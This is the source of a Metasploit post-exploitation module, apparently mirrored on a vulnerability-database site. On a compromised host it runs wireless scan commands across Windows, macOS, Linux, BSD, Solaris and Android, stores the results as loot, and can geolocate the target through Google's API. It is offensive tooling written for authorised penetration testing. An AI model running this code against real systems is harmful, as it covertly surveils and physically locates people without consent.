##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Multiplatform WLAN Enumeration and Geolocation',
'Description' => %q{
Enumerate wireless networks visible to the target device.
Optionally geolocate the target by gathering local wireless networks and
performing a lookup against Google APIs.
},
'License' => MSF_LICENSE,
'Author' => [ 'Tom Sellers <tom[at]fadedcode.net>'],
'Platform' => %w[android osx win linux bsd solaris],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
android_*
]
}
}
)
)
register_options(
[
OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false]),
OptString.new('APIKEY', [ false, 'Key for Google APIs if error is received without one.', '']),
]
)
end
def get_strength(quality)
# Convert the signal quality to signal strength (dbm) to be sent to
# Google. Docs indicate this should subtract 100 instead of the 95 I
# am using here, but in practice 95 seems to be closer.
signal_str = quality.to_i / 2
signal_str = (signal_str - 95).round
return signal_str
end
def parse_wireless_win(listing)
wlan_list = []
raw_networks = listing.split("\r\n\r\n")
raw_networks.each do |network|
details = network.match(/^SSID \d+ : ([^\r\n]*).*?BSSID 1\s+: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal\s+: (\d{1,3})%/m)
if !details.nil?
strength = get_strength(details[3])
wlan_list << [ details[2], details[1], strength ]
end
end
return wlan_list
end
def parse_wireless_linux(listing)
wlan_list = []
raw_networks = listing.split('Cell ')
raw_networks.each do |network|
details = network.match(/^\d{1,4} - Address: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)
if !details.nil?
wlan_list << [ details[1], details[3], details[2] ]
end
end
return wlan_list
end
def parse_wireless_osx(listing)
wlan_list = []
raw_networks = listing.split("\n")
raw_networks.each do |network|
network = network.strip
details = network.match(/^(.*(?!\h\h:))\s*(\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2})\s*([\d-]{1,3})/)
if !details.nil?
wlan_list << [ details[2], details[1], details[3] ]
end
end
return wlan_list
end
def perform_geolocation(wlan_list)
if wlan_list.blank?
print_error('Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.')
return
elsif datastore['APIKEY'].empty?
print_error('Google API key is required.')
return
end
g = Rex::Google::Geolocation.new
g.set_api_key(datastore['APIKEY'])
wlan_list.each do |wlan|
g.add_wlan(wlan[0], wlan[2]) # bssid, signalstrength
end
begin
g.fetch!
rescue RuntimeError => e
print_error("Error: #{e}")
else
print_status(g.to_s)
print_status("Google Maps URL: #{g.google_maps_url}")
end
end
# Run Method for when run command is issued
def run
case session.platform
when 'windows'
listing = cmd_exec('netsh wlan show networks mode=bssid')
if listing.nil?
print_error('Unable to generate wireless listing.')
return nil
else
store_loot('host.windows.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
# The wireless output does not lend itself to displaying on screen for this platform.
print_good('Wireless list saved to loot.')
if datastore['GEOLOCATE']
wlan_list = parse_wireless_win(listing)
perform_geolocation(wlan_list)
return
end
end
when 'osx'
listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s')
if listing.nil?
print_error('Unable to generate wireless listing.')
return nil
else
store_loot('host.osx.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
print_good("Target's wireless networks:\n\n#{listing}\n")
if datastore['GEOLOCATE']
wlan_list = parse_wireless_osx(listing)
perform_geolocation(wlan_list)
return
end
end
when 'linux'
listing = cmd_exec('iwlist scanning')
if listing.nil?
print_error('Unable to generate wireless listing.')
return nil
else
store_loot('host.linux.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
# The wireless output does not lend itself to displaying on screen for this platform.
print_good('Wireless list saved to loot.')
if datastore['GEOLOCATE']
wlan_list = parse_wireless_linux(listing)
perform_geolocation(wlan_list)
return
end
end
when 'solaris'
listing = cmd_exec('dladm scan-wifi')
if listing.blank?
print_error('Unable to generate wireless listing.')
return nil
else
store_loot('host.solaris.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
print_good("Target's wireless networks:\n\n#{listing}\n")
print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
return
end
when 'bsd'
interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq")
# Printing interface as this platform requires the interface to be specified
# it might not be detected correctly.
print_status("Found wireless interface: #{interface}")
listing = cmd_exec("ifconfig #{interface} scan")
if listing.blank?
print_error('Unable to generate wireless listing.')
return nil
else
store_loot('host.bsd.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
print_good("Target's wireless networks:\n\n#{listing}\n")
print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
return
end
when 'android'
log = client.android.wlan_geolocate
listing = ''
wlan_list = []
log.each do |x|
mac = x['bssid']
ssid = x['ssid']
ss = x['level'].to_s
listing += "BSSID: #{mac}\n"
listing += "SSID: #{ssid}\n"
listing += "Strength: #{ss}\n\n"
wlan_list << [mac, ssid, ss]
end
if listing.blank?
print_error('Unable to generate wireless listing.')
return nil
end
store_loot('host.android.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
print_good("Target's wireless networks:\n\n#{listing}\n")
if datastore['GEOLOCATE']
perform_geolocation(wlan_list)
return
end
else
print_error("The target's platform, #{session.platform}, is not supported at this time.")
return nil
end
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
rescue ::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation